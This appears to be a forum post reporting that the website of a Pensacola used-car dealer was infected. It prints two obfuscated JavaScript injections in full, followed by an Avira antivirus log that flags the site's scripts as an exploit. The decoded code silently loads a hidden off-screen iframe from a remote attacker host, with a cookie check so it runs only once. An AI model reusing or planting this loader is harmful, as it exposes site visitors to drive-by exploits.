http://usedcars-pensacola.com/

fireold

1. /*74ed9f*/
   
2. snzit = "y";
   
3. rxwo = "d" + "o" + "c" + "u" + "ment";
   
4. try {
   
5.     +
   
6.     function() {
   
7.         if (document.querySelector)--(window[rxwo].getElementById("asd"))
   
8.     }()
   
9. } catch (rzkno) {
   
10.     rfhu = function(tknho) {
    
11.         tknho = "fro" + tknho;
    
12.         for (rankp = 0; rankp < snzit.length; rankp++) {
    
13.             nhzrp += String[tknho](swm(lmhset + (snzit[rankp])) - (33));
    
14.         }
    
15.     };
    
16. };
    
17. swm = (window.eval);
    
18. lmhset = "0x";
    
19. atu = 0;
    
20. if (!atu) {
    
21.     try {
    
22.         ++swm(rxwo)["\x62o" + "d" + snzit]
    
23.     } catch (rzkno) {
    
24.         ecdaw = "^";
    
25.     }
    
26.     snzit = "41^87^96^8f^84^95^8a^90^8f^41^8f^96^82^87^85^51^5a^49^4a^41^9c^2e^2b^41^97^82^93^41^94^95^82^95^8a^84^5e^48^82^8b^82^99^48^5c^2e^2b^41^97^82^93^41^84^90^8f^95^93^90^8d^8d^86^93^5e^48^8a^8f^85^86^99^4f^91^89^91^48^5c^2e^2b^41^97^82^93^41^8f^96^82^87^85^41^5e^41^85^90^84^96^8e^86^8f^95^4f^84^93^86^82^95^86^66^8d^86^8e^86^8f^95^49^48^8a^87^93^82^8e^86^48^4a^5c^2e^2b^2e^2b^41^8f^96^82^87^85^4f^94^93^84^41^5e^41^48^89^95^95^91^5b^50^50^8e^8a^94^94^8a^90^8f^94^89^82^96^94^4e^94^90^8f^8f^86^8f^94^95^93^82^89^8d^86^8f^4f^85^86^50^7a^6b^68^64^89^6f^77^75^4f^91^89^91^48^5c^2e^2b^41^8f^96^82^87^85^4f^94^95^9a^8d^86^4f^91^90^94^8a^95^8a^90^8f^41^5e^41^48^82^83^94^90^8d^96^95^86^48^5c^2e^2b^41^8f^96^82^87^85^4f^94^95^9a^8d^86^4f^84^90^8d^90^93^41^5e^41^48^54^48^5c^2e^2b^41^8f^96^82^87^85^4f^94^95^9a^8d^86^4f^89^86^8a^88^89^95^41^5e^41^48^54^91^99^48^5c^2e^2b^41^8f^96^82^87^85^4f^94^95^9a^8d^86^4f^98^8a^85^95^89^41^5e^41^48^54^91^99^48^5c^2e^2b^41^8f^96^82^87^85^4f^94^95^9a^8d^86^4f^8d^86^87^95^41^5e^41^48^52^51^51^51^54^48^5c^2e^2b^41^8f^96^82^87^85^4f^94^95^9a^8d^86^4f^95^90^91^41^5e^41^48^52^51^51^51^54^48^5c^2e^2b^2e^2b^41^8a^87^41^49^42^85^90^84^96^8e^86^8f^95^4f^88^86^95^66^8d^86^8e^86^8f^95^63^9a^6a^85^49^48^8f^96^82^87^85^48^4a^4a^41^9c^2e^2b^41^85^90^84^96^8e^86^8f^95^4f^98^93^8a^95^86^49^48^5d^91^41^8a^85^5e^7d^48^8f^96^82^87^85^7d^48^41^84^8d^82^94^94^5e^7d^48^8f^96^82^87^85^51^5a^7d^48^41^5f^5d^50^91^5f^48^4a^5c^2e^2b^41^85^90^84^96^8e^86^8f^95^4f^88^86^95^66^8d^86^8e^86^8f^95^63^9a^6a^85^49^48^8f^96^82^87^85^48^4a^4f^82^91^91^86^8f^85^64^89^8a^8d^85^49^8f^96^82^87^85^4a^5c^2e^2b^41^9e^2e^2b^9e^2e^2b^87^96^8f^84^95^8a^90^8f^41^74^86^95^64^90^90^8c^8a^86^49^84^90^90^8c^8a^86^6f^82^8e^86^4d^84^90^90^8c^8a^86^77^82^8d^96^86^4d^8f^65^82^9a^94^4d^91^82^95^89^4a^41^9c^2e^2b^41^97^82^93^41^95^90^85^82^9a^41^5e^41^8f^86^98^41^65^82^95^86^49^4a^5c^2e^2b^41^97^82^93^41^86^99^91^8a^93^86^41^5e^41^8f^86^98^41^65^82^95^86^49^4a^5c^2e^2b^41^8a^87^41^49^8f^65^82^9a^94^5e^5e^8f^96^8d^8d^41^9d^9d^41^8f^65^82^9a^94^5e^5e^51^4a^41^8f^65^82^9a^94^5e^52^5c^2e^2b^41^86^99^91^8a^93^86^4f^94^86^95^75^8a^8e^86^49^95^90^85^82^9a^4f^88^86^95^75^8a^8e^86^49^4a^41^4c^41^54^57^51^51^51^51^51^4b^53^55^4b^8f^65^82^9a^94^4a^5c^2e^2b^41^85^90^84^96^8e^86^8f^95^4f^84^90^90^8c^8a^86^41^5e^41^84^90^90^8c^8a^86^6f^82^8e^86^4c^43^5e^43^4c^86^94^84^82^91^86^49^84^90^90^8c^8a^86^77^82^8d^96^86^4a^2e^2b^41^4c^41^43^5c^86^99^91^8a^93^86^94^5e^43^41^4c^41^86^99^91^8a^93^86^4f^95^90^68^6e^75^74^95^93^8a^8f^88^49^4a^41^4c^41^49^49^91^82^95^89^4a^41^60^41^43^5c^41^91^82^95^89^5e^43^41^4c^41^91^82^95^89^41^5b^41^43^43^4a^5c^2e^2b^9e^2e^2b^87^96^8f^84^95^8a^90^8f^41^68^86^95^64^90^90^8c^8a^86^49^41^8f^82^8e^86^41^4a^41^9c^2e^2b^41^97^82^93^41^94^95^82^93^95^41^5e^41^85^90^84^96^8e^86^8f^95^4f^84^90^90^8c^8a^86^4f^8a^8f^85^86^99^70^87^49^41^8f^82^8e^86^41^4c^41^43^5e^43^41^4a^5c^2e^2b^41^97^82^93^41^8d^86^8f^41^5e^41^94^95^82^93^95^41^4c^41^8f^82^8e^86^4f^8d^86^8f^88^95^89^41^4c^41^52^5c^2e^2b^41^8a^87^41^49^41^49^41^42^94^95^82^93^95^41^4a^41^47^47^2e^2b^41^49^41^8f^82^8e^86^41^42^5e^41^85^90^84^96^8e^86^8f^95^4f^84^90^90^8c^8a^86^4f^94^96^83^94^95^93^8a^8f^88^49^41^51^4d^41^8f^82^8e^86^4f^8d^86^8f^88^95^89^41^4a^41^4a^41^4a^2e^2b^41^9c^2e^2b^41^93^86^95^96^93^8f^41^8f^96^8d^8d^5c^2e^2b^41^9e^2e^2b^41^8a^87^41^49^41^94^95^82^93^95^41^5e^5e^41^4e^52^41^4a^41^93^86^95^96^93^8f^41^8f^96^8d^8d^5c^2e^2b^41^97^82^93^41^86^8f^85^41^5e^41^85^90^84^96^8e^86^8f^95^4f^84^90^90^8c^8a^86^4f^8a^8f^85^86^99^70^87^49^41^43^5c^43^4d^41^8d^86^8f^41^4a^5c^2e^2b^41^8a^87^41^49^41^86^8f^85^41^5e^5e^41^4e^52^41^4a^41^86^8f^85^41^5e^41^85^90^84^96^8e^86^8f^95^4f^84^90^90^8c^8a^86^4f^8d^86^8f^88^95^89^5c^2e^2b^41^93^86^95^96^93^8f^41^96^8f^86^94^84^82^91^86^49^41^85^90^84^96^8e^86^8f^95^4f^84^90^90^8c^8a^86^4f^94^96^83^94^95^93^8a^8f^88^49^41^8d^86^8f^4d^41^86^8f^85^41^4a^41^4a^5c^2e^2b^9e^2e^2b^8a^87^41^49^8f^82^97^8a^88^82^95^90^93^4f^84^90^90^8c^8a^86^66^8f^82^83^8d^86^85^4a^2e^2b^9c^2e^2b^8a^87^49^68^86^95^64^90^90^8c^8a^86^49^48^97^8a^94^8a^95^86^85^80^96^92^48^4a^5e^5e^56^56^4a^9c^9e^86^8d^94^86^9c^74^86^95^64^90^90^8c^8a^86^49^48^97^8a^94^8a^95^86^85^80^96^92^48^4d^41^48^56^56^48^4d^41^48^52^48^4d^41^48^50^48^4a^5c^2e^2b^2e^2b^8f^96^82^87^85^51^5a^49^4a^5c^2e^2b^9e^2e^2b^9e".split(ecdaw);
    
27.     nhzrp = "";
    
28.     rfhu("mCharCode");
    
29.     swm("" + nhzrp);
    
30. } /*/74ed9f*/
    
31. 
    
32. 
    
33. /*a9a007*/
    
34. qfh = document;
    
35. qvem = "spl" + "i" + "t";
    
36. hinw = window;
    
37. unau = "0" + "x";
    
38. fydwox = (5 - 3 - 1);
    
39. try {
    
40.     --(qfh["body"])
    
41. } catch (gfbty) {
    
42.     zvocza = false;
    
43.     try {} catch (jmtgr) {
    
44.         zvocza = 21;
    
45.     }
    
46.     if (1) {
    
47.         vrurvc = "17:5d:6c:65:5a:6b:60:66:65:17:64:6b:5d:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:64:6b:5d:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:64:6b:5d:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:6e:6e:6e:25:58:65:5b:5c:63:5c:5a:25:5c:6a:26:6f:64:63:69:67:5a:26:5a:63:62:25:67:5f:67:1e:32:4:1:17:64:6b:5d:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:64:6b:5d:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2e:28:1e:32:4:1:17:64:6b:5d:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2e:28:67:6f:1e:32:4:1:17:64:6b:5d:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2e:28:67:6f:1e:32:4:1:17:64:6b:5d:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2e:28:1e:32:4:1:17:64:6b:5d:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2e:28:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:64:6b:5d:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:64:6b:5d:53:1e:17:5a:63:58:6a:6a:34:53:1e:64:6b:5d:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:64:6b:5d:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:64:6b:5d:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:64:6b:5d:27:30:1f:20:32:4:1:74:4:1:74" [qvem](":");
    
48.     }
    
49.     hinw = vrurvc;
    
50.     svxyo = [];
    
51.     for (cig = 22 - 20 - 2; - cig + 1390 != 0; cig += 1) {
    
52.         timge = cig;
    
53.         if ((0x19 == 031)) svxyo += String.fromCharCode(eval(unau + hinw[1 * timge]) + 0xa - fydwox);
    
54.     }
    
55.     mma = eval;
    
56.     mma(svxyo)
    
57. } /*/a9a007*/

复制代码

Avira

2013/11/16 上午 06:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\7853OJ09\script[2].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：傳輸至掃描程式

2013/11/16 上午 06:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\coin-slider.min[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：傳輸至掃描程式

2013/11/16 上午 06:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\7853OJ09\script[2].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：拒絕存取

2013/11/16 上午 06:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\coin-slider.min[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：拒絕存取

2013/11/16 上午 06:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6TI8XMAJ\jquery-1.4.2.min[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：拒絕存取

2013/11/16 上午 06:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\R8AOCKPW\cufon-libsans[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：拒絕存取

2013/11/16 上午 06:35 [Web Protection] 發現惡意程式碼
      從 URL "http://usedcars-pensacola.com/js/cufon-yui.js" 存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：封鎖的檔案

2013/11/16 上午 06:35 [Web Protection] 發現惡意程式碼
      從 URL "http://usedcars-pensacola.com/js/script.js" 存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：已略過

2013/11/16 上午 06:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\R8AOCKPW\cufon-libsans[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：傳輸至掃描程式

2013/11/16 上午 06:35 [Web Protection] 發現惡意程式碼
      從 URL "http://usedcars-pensacola.com/js/coin-slider.min.js" 存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：已略過

2013/11/16 上午 06:35 [Web Protection] 發現惡意程式碼
      從 URL "http://usedcars-pensacola.com/js/jquery-1.4.2.min.js" 存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：已略過

2013/11/16 上午 06:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\INV2BTG1\usedcars-pensacola_com[1].htm 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：傳輸至掃描程式

2013/11/16 上午 06:35 [Web Protection] 發現惡意程式碼
      從 URL "http://usedcars-pensacola.com/js/cufon-libsans.js" 存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：已略過

2013/11/16 上午 06:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\INV2BTG1\usedcars-pensacola_com[1].htm 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：拒絕存取

2013/11/16 上午 06:35 [Web Protection] 發現惡意程式碼
      從 URL "http://usedcars-pensacola.com/" 存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：已略過

fs is